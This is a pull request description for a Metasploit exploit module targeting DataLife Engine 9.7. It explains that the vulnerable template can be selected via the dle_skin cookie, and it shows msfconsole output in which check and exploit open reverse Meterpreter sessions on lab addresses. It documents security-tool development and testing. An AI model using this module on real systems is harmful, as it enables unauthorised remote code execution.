rapid7/metasploit-framework — pull request #1426 by jvazquez-r7 (2013-02-01 10:57:07+00:00)
Title: added template stuff improve

According to EgiX, it isn't needed which the vulnerable template is in use, its sufficient if there its installed, since the template can be specified with the dle_skin cookie parameter. The module has been modified to have it into account.

* Vulnerable template (Default):

```
msf > use exploit/unix/webapp/datalife_preview_exec
msf exploit(datalife_preview_exec) > reload
[*] Reloading module...
msf exploit(datalife_preview_exec) > show options

Module options (exploit/unix/webapp/datalife_preview_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 80 yes The target port
TARGETURI / yes The base path to the web application
TEMPLATE Default yes Template with catlist or not-catlit tag
VHOST no HTTP server virtual host

Exploit target:

Id Name
-- ----
0 DataLife Engine 9.7

msf exploit(datalife_preview_exec) > set TARGETURI /upload
TARGETURI => /upload
msf exploit(datalife_preview_exec) > set RHOST 192.168.1.131
RHOST => 192.168.1.131
msf exploit(datalife_preview_exec) > check
[+] The target is vulnerable.
msf exploit(datalife_preview_exec) > exploit

[*] Started reverse handler on 192.168.1.128:4444
[*] 192.168.1.131:80 - Exploiting the preg_replace() to execute PHP code
[*] Sending stage (39217 bytes) to 192.168.1.131
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.131:42124) at 2013-02-01 11:50:19 +0100
^C[-] Exploit failed: Interrupt

meterpreter > exit
[*] Shutting down Meterpreter...

```

* Not vulnerable template (juan):

```

msf exploit(datalife_preview_exec) > set TEMPLATE juan
TEMPLATE => juan
msf exploit(datalife_preview_exec) > check
[*] The target is not exploitable.
msf exploit(datalife_preview_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] 192.168.1.131:80 - Exploiting the preg_replace() to execute PHP code
[*] Exploit completed, but no session was created.
msf exploit(datalife_preview_exec) > set TEMPLATE Default
TEMPLATE => Default
msf exploit(datalife_preview_exec) > check
[+] The target is vulnerable.
msf exploit(datalife_preview_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] 192.168.1.131:80 - Exploiting the preg_replace() to execute PHP code
[*] Sending stage (39217 bytes) to 192.168.1.131
[*] Meterpreter session 2 opened (192.168.1.128:4444 -> 192.168.1.131:42125) at 2013-02-01 11:51:48 +0100
^C[-] Exploit failed: Interrupt

meterpreter > exit

```